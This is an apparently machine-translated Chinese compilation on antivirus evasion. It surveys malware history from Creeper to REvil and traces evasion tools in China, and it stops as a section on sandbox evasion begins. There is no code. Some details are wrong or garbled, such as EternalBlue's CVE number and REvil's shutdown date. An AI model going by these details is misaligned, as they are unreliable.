一次对免杀的资料整理

本资料全部来自网络,如有侵权,请您与我联系,也感谢互联网上前人们的无私分享,查找资料时发现的矛盾部分以斜体字标出

一、定义

免杀(Bypass AV, Anti-Virus Evasion)是指恶意软件通过各种手段规避杀毒软件和安全检测系统的识别和拦截,从而在目标系统中成功执行。这种技术不仅用于恶意软件的传播,也被信息安全研究人员用来测试和提升安全防护系统的能力。

二、历史

(一)、计算机病毒的历史

1.从理论到现实:1948-1971

尽管尚未命名,但计算机病毒最初是由匈牙利数学家约翰·冯·诺伊曼 (John von Neumann) 概念化的,他设计了一种自我复制的计算机程序,有些人认为该程序是计算机病毒的前身,即使它从未像计算机病毒那样开发或部署。虽然这项工作始于 1940 年代,但它与他在自复制领域的其他工作一起,最终通过 1966 年的论文“自复制自动机理论”进行编译和分发。

尽管冯·诺依曼的自我复制程序或多或少是一个思想实验,但计算机程序员鲍勃·托马斯 (Bob Thomas) 在 1971 年开发了 Creeper 程序,该程序通常被称为第一个计算机病毒。Creeper 以“史酷比”中的角色命名,最初旨在作为美国国防部高级研究计划局网络 (ARPANET) 的安全测试,ARPANET 是我们所熟知、喜爱、有时讨厌的现代互联网的前身。

作为一项安全测试,Creeper 对受感染机器的影响很小。它只会在计算机屏幕上显示一条消息:“我是爬行者。如果可以的话,抓住我!Creeper 是一种礼貌的小病毒,每当感染新硬盘时,它也会尝试将自己从主机中移除。

虽然很有礼貌,但 Creeper 仍然让一些人很烦恼,1971 年,Ray Tomlinson 开发了第一款名为 Reaper 的防病毒软件。收割者会在阿帕网上滑行,扫描并移除它在那里发现的任何爬行者实例。

2.病毒得名:1974-1986

虽然 Creeper 是一个相对温和的程序,但 1974 年的 Rabbit Virus 是最早恶意开发的计算机病毒之一。Rabbit 病毒以其自我复制的速度命名,它会用这些副本淹没受感染的计算机,相对容易地减慢速度甚至使机器崩溃。

1975 年见证了现代木马恶意软件的前身的创建。ANIMAL 程序,其中计算机会尝试通过类似于 Twenty Questions 的游戏来猜测人类在想什么动物,在当时的计算机用户中很流行。John Walker 版本的程序包含一个名为 PERVADE 的隐藏程序,该程序将搜索计算机目录,查找没有 ANIMAL 副本的目录,并将 ANIMAL 的副本分发到这些目录中。然而,与 Creeper 一样,该程序相对温和,并采取措施不删除重要的系统文件,同时将自身复制到各处。

南加州大学研究生 Fred Cohen 设计了一种未命名的恶意软件,它可以接管计算机的系统操作。他也是第一个定义“计算机病毒”一词的人。Cohen 后来成为计算机病毒防御技术的先驱。

科恩还相信“阳性病毒”的想法,即可以像计算机病毒一样传播的有益程序。Cohen 设计了压缩病毒,这种病毒旨在不损坏或删除受感染的文件,而是使它们更小。

第一个 PC 计算机病毒

1986 年,第一个 PC 计算机病毒 Brain 被发布到野外。通过受感染的软盘传播,Brain 会用病毒的副本替换软盘的引导扇区。该病毒由 Amjad Farooq Alvi 和 Basit Farooq Alvi 兄弟创建,旨在跟踪某些磁盘的盗版副本。启动时,它会显示一条消息,该消息因副本而异,但通常以短语“Welcome to the Dungeon”开头,该短语引用了早期的编程论坛。还列出了兄弟俩的姓名、地址和电话号码,并要求受害者联系他们以清除病毒。像许多早期的计算机病毒一样,大脑相对温和,其设计目的不仅仅是一个令人讨厌的东西。

注意:在A Brief History of The Evolution of Malware一文中其认为第一个计算机病毒为Elk Cloner,摘取此部分如下:

与每个非技术人员所说的“Mac 不易受病毒攻击”相反,在野外发现的第一种计算机病毒被称为“Elk Cloner”,旨在针对 Apple II 计算机。它是由一个当时 15 岁的孩子编写的,他编写了这样的程序来恶作剧他的朋友。每当运行受感染的磁盘时,此引导扇区病毒就会传播。病毒将驻留在内存中,并寻找干净的软盘进行感染。在第 50 次启动时,Elk Cloner 会向用户显示一首诗:
Elk Cloner: The program with a personality

It will get on all your disks

It will infiltrate your chips

Yes, it’s Cloner!

It will stick to you like glue

It will modify RAM too

Send in the Cloner!

3.蠕虫和互联网时代的黎明:1987-2000

1988 年:莫里斯蠕虫

随着 Internet 开始进入公共用途,第一批可以通过 Internet 传播的计算机病毒紧随其后。最流行的计算机病毒早期实例之一是 Morris 蠕虫。Morris 蠕虫于 1988 年 11 月 2 日推出,以其创造者罗伯特·莫里斯 (Robert Morris) 的名字命名,它也不是故意为破坏受感染的机器而设计的。相反,它旨在指出当时网络中存在的弱点。

但是,编码错误会导致蠕虫自行复制,而不管计算机的感染状态如何,从而导致计算机感染蠕虫的多个副本,并最终导致受感染的计算机崩溃。罗伯特·莫里斯 (Robert Morris) 最终成为美国第一个根据 1986 年《计算机欺诈和滥用法》被判犯有重罪的人。

注:该蠕虫包含几个“第一”。它利用各种程序和服务中的漏洞,并检查是否存在现有感染,以及现代恶意软件的所有行为。由于 Morris 担心系统管理员会隔离蠕虫而忽略感染,因此他将其编程为持久性。但是,无法停止自复制过程,因此它会导致设备负载过高,使其无法运行,并在机器之间传播时在网络中造成拒绝服务 (DoS)。

随着恶意病毒越来越普遍,人们正在制定对策来减轻这些病毒造成的损害。最早的防病毒软件之一 McAfee 的 VirusScan 于 1987 年发布。很快,其他防病毒先驱也纷纷效仿,例如 ESET 的 NOD 程序、G Data 的 Anti-Virus Kit、H+BEDV 的 Antivir 和 Avast Antivirus。

1989 年:世界上第一个勒索软件

1989 年,AIDS 木马首次亮相,使其成为世界上第一个观察到的勒索软件。巧合的是,互联网访问也于 1989 年首次通过美国名为 TheWorld 的 ISP 公开提供。然而,直到 2005 年,勒索软件才利用互联网连接来感染和瞄准受害者。

1989 年,人类艾滋病病毒在世界范围内具有高度的话题性和相关性,类似于今天与 COVID-19 相关的新闻。AIDS 木马通过邮件(是的,实体邮件,不是电子邮件)通过 20,000 张受感染的软盘发送给世界各地的 AIDS 研究人员。磁盘运行后,它包含一份关于 AIDS 的问卷。但在第 90 次重启时,它将文件名更改为加密字符串,并对用户隐藏了它们。然后,屏幕显示要求每年租约 189 美元或终身许可证 385 美元,发送到巴拿马的邮政信箱。只接受银行汇票、银行本票或汇票。

艾滋病木马归功于已故的 Joseph Popp 博士,他声称他创建了勒索软件,将他收集的资金捐赠给艾滋病研究。然而,其他报道称,他在被世界卫生组织拒绝工作后对他们感到不满。有趣的是,Popp 博士没有将他的任何软盘发送给美国的研究人员。Dr. Joseph Lewis Andrew Popp Jr.”。Popp 博士在英国被捕并受到指控,但在刑事诉讼中,他被宣布精神不健康并被驱逐回美国。

1992 年:米开朗基罗

1992 年的米开朗基罗病毒是最早引起主流关注的计算机病毒之一,因为一些供应商无意中出售了感染了该病毒的硬件和软件。米开朗基罗是下一个产生重大影响的高调病毒。Michelangelo 是一种以 DOS 分区为目标的引导扇区病毒。它是用 Assembly 编写的,和它的前辈一样,它通过软盘传播,因为它以主引导记录为目标,并感染了附加的软盘存储,从而允许在复制和加载过程中传播。

它被命名为米开朗基罗,因为它被编程了一个定时炸弹——一个在米开朗基罗的生日 3 月 6 日醒来的指令。让它臭名昭著的是,在它被发现后,有很多媒体报道警告用户要么在当天关闭计算机,要么将计算机上的日期更改为前一天,以避免受到影响。这是病毒第一次受到印刷和电视主流媒体的如此多关注,从而帮助刺激了全球防病毒软件的销售

随着互联网的普及,新的感染媒介开始出现。从连锁电子邮件到可疑网站,随着世界接近 21 世纪,现代恶意软件技术开始发展。

1994-95 年:warez 场景和第一次网络钓鱼攻击

随着 America Online (AOL)、CompuServe 和 Prodigy 等服务的推出,互联网使用在美国越来越受欢迎,诈骗和网络钓鱼也随之增长。对于许多在 AOL 聊天室中长大的人来说,90 年代中期的 progz(程序的俚语)和 warez(软件的俚语)场景是革命性的。由于拨号互联网访问非常昂贵,而且按分钟配置,因此许多威胁行为者都对窃取帐户凭据感兴趣。

新程序开始在非法的 warez 聊天室上进行交易,其中包括 punterz(将人们踢离线)、网络钓鱼 progz(窃取用户帐户)和用于生成随机信用卡的工具。最著名的程序之一是 AOHell,它是对 AOL 名称的玩笑,其中包含一个随机帐户创建者,该帐户使用随机创建的信用卡帐户免费开设一个月帐户。

它还包含网络钓鱼的首批证据之一。虚假的自动 AOL 即时消息机器人不分青红皂白地向目标发送 IM,要求他们验证其帐户凭据,声称存在计费问题或类似问题。要继续与机器人交谈,受害者必须通过输入他们的用户名和密码来“验证他们的身份”。然后,AOHell 程序的用户收集此信息,以使用或出售免费帐户访问和垃圾邮件。

宏病毒——可以感染通过 Microsoft Word 等程序创建的文档的病毒——在 1990 年代中后期越来越受欢迎。其中最著名的是 1999 年的 Melissa。通过电子邮件传播,该病毒将使用主题行“来自 [受感染用户] 的重要信息”。打开电子邮件后,受害者会看到消息“这是您要求的文件。不要让其他人看到;)”以及一个名为“list.doc”的 Word 文件。该文件包含一份色情网站列表,以及访问这些网站的密码,然后通过向受害者联系人列表中的前 50 人发送电子邮件来传播自身及其 NSFW 内容。

社会工程攻击很快在数字空间中得到了应用。最早的例子之一是 2000 年的情书病毒。尽管它遵循与 Melissa 等宏病毒相似的模式,但 Love Letter 使用的是受感染的 Visual Basic 脚本 (VBS) 文件,而不是 Word 文件。Love Letter 的主题行写着“我爱你”,它会诱使受害者点击其 VBS 文件,将病毒释放到他们的计算机上。一旦进入计算机,Love Letter 就会用自己的副本替换和覆盖机器上的现有文件。

1999/2000 年:第一个僵尸网络出现

到 2000 年,宽带接入开始受到关注,超越了那些能够负担得起通过数字用户线 (DSL) 连接访问 T1 线路的组织。家庭用户和组织现在能够 24x7 全天候在线。在接下来的几年里,网络犯罪分子利用这种无处不在的访问,开创了僵尸网络和蠕虫的时代。

当僵尸网络首次出现时,该术语让人联想到《终结者》电影中虚构的企业反派 Skynet。但 AI 仍然是科幻小说的领域(当然,22 年后,我们仍然处于 AI 的起步阶段)。但这并不意味着僵尸网络没有问题。简而言之,僵尸网络是一组受操作员指挥和控制的受感染计算机。那时,僵尸网络很简单。它们感染并在机器之间传播,大多数僵尸网络恶意软件连接到 Internet 中继聊天(IRC——想想旧的 AOL 聊天室)上的预定命令和控制服务器 (C2) 以接收指令。

观察到的第一个僵尸网络是 EarthLink Spam 僵尸网络,它于 2000 年首次亮相。它的任务很简单:发送大量垃圾邮件。EarthLink 僵尸网络占当时所有电子邮件垃圾邮件的 25%,总共约 12.5 亿条消息。由于这一厚颜无耻的活动,它对其运营商 Khan C. Smith 做出了前所未有的判决,要求赔偿 2500 万美元。

然而,GTbot 于 1999 年推出,使其成为真正的第一个僵尸网络。就恶意软件而言,它非常初级。它基本上将自己传播到其他机器上,并通过 IRC 接收命令。这些命令是由 GTbot 控制器发出的,他们使用这个受影响设备(称为僵尸)网络来发起分布式拒绝服务 (DDoS) 攻击。

4.走向移动和走向全球:2001-2010 年

2000 年:我爱你 2000 Blaster Sasser

I LOVE YOU 蠕虫以创纪录的速度传播到世界各地,因此在千禧年伊始就得到了媒体的广泛报道。I LOVE YOU 蠕虫是由菲律宾的大学生 Onel De Guzman 创造的。

I LOVE YOU 蠕虫使用多种机制传播。首先,它作为恶意附件“LOVE-LETTER-FOR-YOU.vbs.txt”通过电子邮件发送给用户。当受害者打开时,蠕虫会查找受害者的 Microsoft Outlook 地址簿,并发送电子邮件冒充受害者并将自身复制为附件。这种新颖的方法导致数百万台计算机在几天内被感染,因为许多人信任来自受信任的同事(包括朋友、家人和同事)的电子邮件。这种抓取目标地址簿并在电子邮件中冒充他们的方法仍被用作威胁行为者交易技巧 (EMOTET) 的一部分。

2001 年 7 月,Code Red 蠕虫试图使整个 Internet 遭受分布式拒绝服务 (DDoS) 攻击。Code Red 以其发现者当时饮用的激浪的味道命名,它会用“HELLO!欢迎来到 http://www.worm.com!你china爷爷来了!“

由于病毒的名称和上述文字,当时许多人认为恶意软件的来源来自中国。然而,尽管美国官员当时声称该病毒已被追踪到中国,但没有证据表明红色代码与该国有关。事实上,中国本身将在 2001 年 8 月成为第二次红色警报的牺牲品。

根据应用互联网数据分析中心 (CAIDA) 的分析,在高峰期,红色代码已感染超过 359,000 台计算机。最终,受感染的计算机都被指示专门在 whitehouse.gov 上尝试 DDoS,尽管白宫设法避开了攻击。

2003 年:Blaster (MSBlast, lovesan)

到 2003 年 8 月,许多个人和组织都使用宽带连接连接到 Internet。这导致了破纪录的蠕虫和蠕虫类攻击。

2003 年 8 月 11 日,Blaster(也称为 MSBlast 和 lovesan)推出。当家庭用户和大型组织的工作人员的机器突然出现可怕的“蓝屏死机”(BSOD) 并重新启动时,他们感到震惊。他们不知道的是,他们已经被 Blaster 蠕虫打乱了。

Blaster 将 Microsoft Windows XP 和 2003 操作系统中的远程过程调用 (RPC) 漏洞作为目标,并在全球范围内传播。该蠕虫的目标是对 windowsupdate.com 执行 SYN 泛洪攻击,以防止计算机访问更新。对 Microsoft 来说幸运的是,作者犯了一个错误,将 Blaster 定向到错误的域。windowsupdate.com 域不是必需的,因为计算机使用 windowsupdate.microsoft.com 来接收其更新。

但是,由于蠕虫中的一个错误,它还由于缓冲区溢出而导致拒绝服务 (BSOD)。持续的重启并没有阻碍这项工作,因为它只是重新开始,一次又一次地关闭机器。由于互联网连接的广泛采用,这成为第一次全球拒绝服务攻击。

在恶意软件的二进制文件中发现的一条不祥的消息揭示了作者的意图:

I just want to say LOVE YOU SAN!!

billy gates why do you make this possible ? Stop making money

and fix your software!!

 该蠕虫病毒是由 Microsoft Patch Tuesday 补丁(俗称 Exploit Wednesday)的逆向工程引起的。Blaster 不会影响在 8 月 11 日之前应用 (MS03-026) 补丁的组织。此示例强调了组织在发布更新后尽快修补系统的重要性。不幸的是,直到 18 年后的今天,许多组织仍然忽视了这一建议。

2003 年,发现了首批旨在赚钱的恶意软件之一

Fizzer 是一种通过电子邮件附件传播的蠕虫,一旦它进入计算机,就可以执行许多恶意任务。它可以安装键盘记录程序,只要受害者在任何时候将敏感信息(如银行账户详细信息、密码和物理地址)输入到他们的计算机中,黑客就可以访问这些信息。它还会主动关闭防病毒进程以逃避检测和删除。最后,它甚至可以充当后门,黑客可以通过它远程访问受感染机器的资源。

2004 年,在 Cabir 发现了第一个旨在感染手机的蠕虫。一旦它感染了手机,每当手机开机或使用时,都会显示“Caribe”的文本。然后它会尝试通过无线蓝牙信号传播。希望逃避 Cabir 感染的手机可以通过关闭蓝牙或进入隐形模式来实现。

2005 年:Mytob/Zotob,结合蠕虫/后门/僵尸网络

在 Mytob 之前,恶意软件的世界主要局限于出于恶作剧或纯粹好奇心而创建恶意软件的爱好者。然而,Mytob/Zotob 变体改变了一切。

Mytob 基本上结合了蠕虫/后门/僵尸网络的功能。它是 MyDoom 的变体,由创建 Zotob 蠕虫的同一编码人员创建。Mytob 以两种方式感染受害者机器。它要么通过电子邮件通过恶意附件到达,要么利用 LSASS (MS04-011) 协议或 RCP-DCOM (MS04-012) 中的漏洞,并使用远程代码执行。它还利用受害者的地址簿进行自我传播,并通过网络扫描搜索其他机器,看看它们是否会受到威胁。

Mytob 是最早通过阻止从受害者的机器连接到各种更新站点来专门阻止或对抗防病毒软件的病毒之一。这是通过将所有已知的供应商 URI 重定向到 127.0.0.1(一个本地主机 IP)来完成的。这导致对面向公众的网站的所有查询都解析到机器本身,基本上无处可去。

Mytob 在当时非常多产,并且一直位列前 10 名排行榜的顶部。它有如此多具有不同功能的变体,以至于防病毒公司经常在恶意软件名称后附加整个字母。

Zotob 变体获取了 Mytob 源代码的残余部分并合并了 MS05-039,这是 Windows 2000 的 Microsoft 即插即用中的缓冲区溢出漏洞。Zotob 使用此变体来扫描易受 MS05-039 攻击的计算机,以便进一步传播。Mytob/Zotob 变体具有令人难以置信的破坏性,导致包括《纽约时报》在内的 100 个组织的运营瘫痪。这是如此具有破坏性,以至于 CNN 新闻主播沃尔夫·布利策 (Wolf Blitzer) 也宣布卢·多布斯 (Lou Dobbs) 无法参加他定期安排的节目。

 2005 年:CoolWebSearch 和 BayRob

CoolWebSearch,俗称“CWS”,是第一个劫持 Google 搜索结果的网络犯罪行动,将搜索结果与威胁行为者自己的搜索结果叠加在一起。这样做是为了从 Google 窃取点击次数。CWS 最常使用路过式下载或广告软件程序进行分发。它是如此普遍且难以消除,以至于志愿者开发了程序并管理了网络论坛,以帮助免费消除 CWS 感染。CWS Shredder 是 CoolWebSearch 受害者广泛使用的几个程序之一,用于帮助修复他们的机器。

几年后的 2007 年,也就是类似的攻击。它使用了来自 eBay 的劫持搜索结果的变体。当俄亥俄州的一名妇女以数千美元的价格购买了一辆汽车时,它被发现,但车辆从未到达。当局后来确定,这辆车从未上市销售,她的机器上装有恶意软件,通过 BayRob 恶意软件在她的设备上注入虚假列表。在猫捉老鼠的一个很好的例子中,FBI 和赛门铁克耐心等待网络犯罪分子犯错多年,最终在 2016 年被捕。

2010 年:震网

2010 年代,首次发现民族国家恶意软件被用于针对工业控制服务 (ICS) 设备,特别是监控和数据采集设备 (SCADA)。事实证明,Stuxnet 是第一个针对关键基础设施的特定民族国家恶意软件,在本例中为工业离心机(特别是核能),导致它们过度旋转并导致熔毁。Stuxnet 专门针对伊朗的组织,但很快就蔓延到世界各地的其他 SCADA 系统。对 Stuxnet 恶意软件的分析强调,它并非特定于伊朗,可以针对运行类似 ICS 设备的任何组织进行定制。2012 年,《纽约时报》的一篇文章证实,美国和以色列开发了 Stuxnet。

5.勒索软件的兴起:2011-2022 年

2010 年代和 2020 年代初,勒索软件攻击越来越普遍。尽管勒索软件已经存在了几十年,第一个记录在案的实例是 1989 年的艾滋病木马,但勒索软件确实在现代互联网上蓬勃发展。加密货币等无法追踪的数字支付方式的出现,对于希望在不被抓住的情况下从目标那里勒索尽可能多的钱财的黑客来说是一个福音。

2013 年:CryptoLocker - 加密货币作为支付选项的到来

CryptoLocker 木马于 2013 年推出,是最早被大规模使用的勒索软件的主要实例之一,击中了约 250,000 名受害者,并勒索了约 2700 万美元的比特币。

尽管 CryptoLocker 最终被网络安全专家隔离和中和,但它是勒索软件作为一种商业模式的有效概念验证。像 TorrentLocker 和 CryptoWall 这样的山寨勒索软件开始涌现。特别是 CryptoWall,它足以让 FBI 的互联网犯罪投诉中心 (IC3) 发出警报,警告公民注意该恶意软件。

2015 年:浏览器锁和虚假技术支持诈骗 (BSOD)

虽然从技术上讲不是恶意软件,但第一个技术支持骗局和各种浏览器储物柜变体于 2015 年首次出现。这些滋扰性攻击本质上是模仿勒索软件的,它使受害者惊慌失措并拨打支持电话给在不同国家/地区担任技术支持的威胁行为者,或者简单地支付加密货币来“清理”他们的系统。该计划在遭到入侵的合法网站上部署了恶意 JavaScript。然后,此 JavaScript 将导致浏览器无法运行,经常以全屏模式显示警告和要求(付费解锁、出售虚假修复软件或技术服务等)。这种策略的其他变体是蓝屏死机 (BSOD) 显示,这对受害者来说看起来很有说服力,包括一个声称是 Microsoft 技术支持的免费电话号码,但实际上,它是国外呼叫中心的威胁行为者。然后,威胁行为者会试图说服受害者提供对其设备的远程访问以进行“补救”,之后他们将控制受害者的机器以执行进一步的恶意行为,同时为不存在的服务收取高昂的费用。

2015 年,一个名为 Armada Collective 的勒索软件组织对三家希腊银行发动了 DDoS 攻击,要求银行支付比特币赎金以停火。该组织还声称对瑞士电子邮件提供商 ProtonMail 的 DDoS 攻击负责。然而,即使在支付赎金后,对 ProtonMail 的 DDoS 攻击仍在继续。Armada Collective 对希腊银行就没有那么幸运了,希腊银行加强了他们的网络安全措施,并设法在没有太大干扰的情况下继续运营。

2016 年:第一个 IoT 僵尸网络问世

Mirai 的到来让许多人感到惊讶。这是第一个以 IoT 设备为目标的僵尸网络。虽然它主要针对网络路由器,但也包括其他 IoT 设备。Mirai 主要是一个 DDoS 僵尸网络。并参与了对 Brian Krebs 网站 krebsonsecurity.com.以及负责关闭互联网的大量部分,破坏全球的访问和服务

与传统的网络和最终用户设备不同,大多数 IoT 设备无需维护。也就是说,它们不会像计算机或智能手机那样自动接收更新。相反,它们经常被忽视,几乎从不更新,通常是因为更新需要刷新它们(意味着离线,这样软件和固件就可以被完全覆盖),这可能会带来不便,甚至是灾难性的,因为如果操作不当,刷新的设备可能会变砖(意味着永久无法运行)。更糟糕的是,许多直接将 IoT 设备连接到互联网的人不会更改他们的默认用户名和密码。Mirai 利用了这个漏洞,使其能够毫无困难地传播。Mirai 一度如此多产,以至于著名的密码学家布鲁斯·施奈尔 (Bruce Schneier) 都认为这可能是一个民族国家的创建。

Mirai 之所以成为一次备受瞩目的攻击,不仅因为它新颖,还因为它能够在如此短的时间内集结一支全球僵尸网络大军,使其能够将互联网流量从世界各地的受感染系统重定向到目标站点。这使得防御变得特别困难,因为流量洪流来自四面八方。事实上,正如 FortiGuard Labs 最近的一篇博客所指出的那样,Mirai 的变体仍然存在,部分原因是开发人员最终在网上发布了其代码供其他犯罪分子使用。

2016 年 3 月,首次发现了 Petya 勒索软件家族。与只加密文件的前辈不同,Petya 会用赎金票据替换计算机的主引导记录,有效地使计算机在支付赎金之前无法使用。它后来发展到还包括文件加密。2017 年,一个名为“NotPetya”的盗版版 Petya 在一次重大网络攻击中袭击了多个欧洲国家,其中最著名的是乌克兰和德国。

Petya 最初由一个名为 Janus Cybercrime Solutions 的团体开发,作为其勒索软件即服务 (RaaS) 平台的一部分。从本质上讲,网络犯罪分子可以向 Janus 付费,让 Janus 使用 Petya 来攻击他们的目标,Janus 提供了许多额外的服务来确保攻击成功。作为交换,Janus 从支付的赎金中分一杯羹。由于 Petya 和其他主要勒索软件(如 LeakerLocker 和 WannaCry)的出现,RaaS 迅速成为网络犯罪领域的一支主要力量.

2017 年:ShadowBrokers (NSA)、WannaCry、Petya/NotPetya 以及未披露漏洞

美国国家安全局 (NSA) 的 ShadowBrokers 泄密事件是前所未有的,也是毁灭性的,不仅因为它揭示了美国政府最高层正在开发的秘密恶意软件,还因为威胁行为者有效地重新利用了发布的工具和漏洞。这些工具代号为“Fuzzbunch”,是 NSA 开发的漏洞利用框架。该框架的一部分包括称为 DoublePulsar 的恶意软件,这是一种后门攻击,其中包含臭名昭著的“EternalBlue”漏洞。EternalBlue 是 NSA 在其武器库中保留的一个零日漏洞,针对 Microsoft 的 SMB(服务器消息块)协议 (CVE-2017-0444)。

它后来被用来传播臭名昭著的 WannaCry、Petya/NotPetya 勒索软件,造成了灾难性的后果。这些勒索软件变体具有如此大的破坏性,以至于导致全球制造工厂关闭。这次泄漏的归咎最初被归咎于俄罗斯,但直到今天,还没有人能够将 ShadowBrokers 黑客攻击/泄漏归因于一个实体。

WannaCry 因其 2017 年对全球用户的攻击及其传播方法而特别引人注目。这次攻击规模很大,第一天就攻击了 150 多个国家/地区的 230,000 多台计算机。英国的 NHS 医院是受 WannaCry 攻击的最大组织之一。汽车公司日产的英国分公司是另一个值得注意的受害者。

它的传播方式不是通过电子邮件网络钓鱼等更传统的勒索软件媒介,而是通过 EternalBlue,这是一种 Windows 漏洞,最初由美国国家安全局 (NSA) 开发,随后被黑客组织 The Shadow Brokers 窃取和泄露。

GandCrab 于 2018 年突然出现。虽然单独并不令人印象深刻,但 GandCrab 很快就与一个名为“Vidar”的信息窃取木马集成,该木马以斯堪的纳维亚的复仇之神命名。借助 Vidar,GandCrab 提供了窃取和锁定受害者文件的强大组合,并迅速成为 2018 年和 2019 年市场上使用最多的 RaaS。

GandCrab 的一个合作伙伴,被称为“Team Snatch”,帮助普及了公开泄露受害者数据的做法,以进一步向目标施压,要求他们支付赎金。这可能是为了更好地勒索那些可能足够备份其数据以达到删除威胁不大的程度的公司。

2017 年:加密货币挖矿

尽管与加密货币相关的威胁最初被归类为勒索软件或加密货币钱包盗窃,但 2018 年引入了一种前所未有的方法。XMRig 是为挖掘门罗币加密货币而编写的矿工应用程序,并非恶意。它的工作原理是利用机器上未使用的 CPU 周期来帮助解决加密货币挖矿中使用的各种数学问题。然而,网络团伙开始在受感染的机器和设备上秘密安装 XMRig,然后收集和聚合由此产生的数据以获取自己的加密利润。

各种犯罪攻击者利用的常见漏洞利用了 Apache Struts、Oracle Weblogic 和 Jenkins 服务器中的已知漏洞。因此,这些攻击被归类为使用这些技术的组织,对攻击者来说最重要的是,它们运行设备的强大 CPU。这些漏洞也成为目标,因为它们可以被远程利用。雪上加霜的是,许多这些面向互联网的机器也不太可能被修补,无论是由于粗心还是懒惰,都让威胁行为者能够利用它们牟利。有关这些攻击如何运作的一些有趣见解,请在此处引用我们 2018 年的博客.

在攻击中加入 XMRig 的活动变体还通过恶意 Android APK、docker 容器和针对 NPM(节点包管理器)的供应链攻击以移动设备为目标,仅举几例。有关 NPM 供应链上这些最新攻击的更多信息,请参阅我们 11 月的威胁信号,通过被劫持的流行 NPM 库提供的加密矿工和信息窃取程序.

2019 年:GandCrab 和勒索软件即服务的出现

GandCrab 迎来了一波新浪潮,通过向大众提供收费勒索软件,升级了攻击的数量和毒性。GandCrab 试图做两件事:远离对组织的实际攻击并产生更多收入。它完善了称为勒索软件即服务 (RaaS) 的商业模式。RaaS 让 GandCrab 作者可以自由地处理他们的代码,同时让其他人执行实际的违规行为。在这种模式下,附属公司会做所有肮脏的工作(侦察、横向移动、传递勒索软件、收款等),而作者则留在后台并分一杯羹(估计他们收取了 25% 到 40% 的实际赎金)

事实证明,这对双方都是有利可图的,因为作者不必冒险寻找和感染目标,而附属公司也不必花时间尝试自己开发勒索软件。GandCrab 似乎也遵循了敏捷开发流程,只要作者认为合适,就会部署次要和主要版本。GandCrab 后来在 2019 年 6 月宣布退休,此前他们声称已经净赚了 20 亿美元,很可能是因为他们感受到了当局的热度。然而,GandCrab 的作者后来与 Sodinokibi/REvil 威胁行为者松散地联系在一起。REvil 也与 DarkSide 有松散的联系,后者最著名的是 2021 年夏天对 Colonial Pipeline 的臭名昭著的攻击。自 GandCrab 以来出现的其他值得注意的 RaaS 变体是 BlackCat、Blackmatter、Conti 和 Lockbit 等。

2019 年 11 月,勒索软件组织 Maze 泄露了 700mb 的美国安全和清洁服务提供商 Allied Universal 的被盗数据,这是首批重大的公共勒索软件数据泄露事件之一。

Allied Universal 等公共泄密事件和 2021 年 Colonial Pipeline Attack 等重大攻击导致勒索软件在公众眼中的地位和知名度不断提高。Colonial Pipeline 攻击还值得注意的是,它可能是最早已知的感染媒介实例之一,该感染媒介来自在暗网上发现的泄露的员工密码,而不是对公司系统的外部攻击。

如今,勒索软件继续困扰着社会各个阶层的企业和个人,只要该级别包括定期 Internet 访问。IC3 的 2021 年互联网犯罪报告发现,仅在美国,勒索软件就造成了超过 4920 万美元的损失,而这还只是向 FBI 报告的勒索软件攻击实例。

FBI 并不是唯一一个拥有令人担忧的勒索软件统计数据的机构。IBM 的 2022 年安全 X-Force 威胁情报指数发现,勒索软件是该公司在 2021 年修复的最常见的恶意软件攻击类型,占总数的 21%。这些攻击中约有 37% 可以追溯到一种称为“REvil”和“Sodinokibi”的特定勒索软件菌株。

在 IBM 指数中排名第二的是名为“Ryuk”的勒索软件,它本身就占攻击的近 20%。“Ryuk”这个名字可能来自韩语中数字 6 的罗马拼音、朝鲜姓氏的罗马拼音、阿塞拜疆的一个村庄,或者日本流行媒体系列“Death Note”中的角色。

Ryuk 和 REvil 的运行时间尤其引人注目,分别于 2019 年 4 月和 2018 年 8 月首次出现。IBM 的报告指出,勒索软件操作的生命周期通常约为 17 个月。REvil 在 2021 年 31 月后于 31 年 10 月关闭。2022 年 1 月,俄罗斯联邦安全局宣布 REvil 背后的组织已“不复存在”,其信息基础设施已被“中和”。

6.结论

在 1971 年至 2000 年初期间,恶意软件大多被归类为恶作剧和病毒作者试图查看他们创建的东西是否有效。快进 20+ 年,我们可以看到威胁形势已经从恶作剧演变为包括有利可图的网络犯罪和民族国家攻击。同样,从最初的术语“病毒”演变为今天包罗万象的“恶意软件”,反映了过去 20 年威胁的演变。此类攻击的发展和变化与我们现在生活的超级连接世界的发展相吻合,这并非巧合。

(二)、国内免杀技术的简史

理论上讲,免杀一定是出现在杀毒软件之后的。而通过杀毒软件的发展史不难知道,第一款杀毒软件Mcafee是于1989年诞生的,也就是说免杀技术至少是在1989年以后才发展起来的。关于世界免杀技术的历史信息现在已无从考证,但从国内来讲,免杀技术的起步可以说是非常晚了。

1989年:第一款杀毒软件Mcafee诞生,标志着反病毒与反查杀时代的到来。

1997年:国内出现了第一个可以自动变异的千面人病毒(Polymorphic/ MutationVirus)。自动变异就是病毒针对杀毒软件的免杀方法之一,但是与现在免杀手法的定义有出入。

2002年7月31日:国内第一个真正意义上的变种病毒“中国黑客II”出现,它除了具有新的特征之外,还实现了“中国黑客”第一代所未实现的功能,可见这个变种也是病毒编写者自己制造的。

2004年:在黑客圈子内部,免杀技术由IT工程师之家团队在这半首先公开提出,由于当时还没有CLL等专用免杀工具,所以一般都使用WinHEX逐字节更改。

2005年1月:大名鼎鼎的免杀工具CCL的软件作者tankaiha在杂志上发表了一篇文章,藉此推广了CCL,从此国内黑客界才有了自己第一个专门用于免杀的工具。

2005年2月一7月:通过各方面有意或无意地宣传,黑客爱好者们开始逐渐重视免杀,在类似于华夏论坛等黑客站点的木马专栏下,越来越多的人开始讨论免杀技术,这为以后木马

免杀的火爆埋下根基。

2005年8月:第一个可查的关于免杀的动画由IT工程师之家团队完成,为大量黑客爱好者提供了一个有效的参考,成功地对免杀技术进行了第一次科普。

2005年9月:免杀技术开始真正地火起来。

三、免杀的演变

(一)、沙盒规避策略的演变

从历史上看,沙盒允许研究人员在短时间内准确地可视化恶意软件的行为。随着技术在过去几年中的发展,恶意软件作者开始生成恶意代码,这些代码更深入地研究系统以检测沙盒环境。

随着沙盒变得越来越复杂并进化以击败规避技术,我们观察到多种恶意软件,这些恶意软件极大地改变了它们的策略以保持领先一步。在以下部分中,我们回顾了恶意软件作者在过去几年中使用的一些最流行的沙盒规避技术,并验证了恶意软件家族并行扩展其代码以引入更多更隐蔽的技术这一事实。

下图显示了我们将在本博客中讨论的最流行的沙盒规避技巧之一,尽管存在许多其他技巧。

1.延迟执行

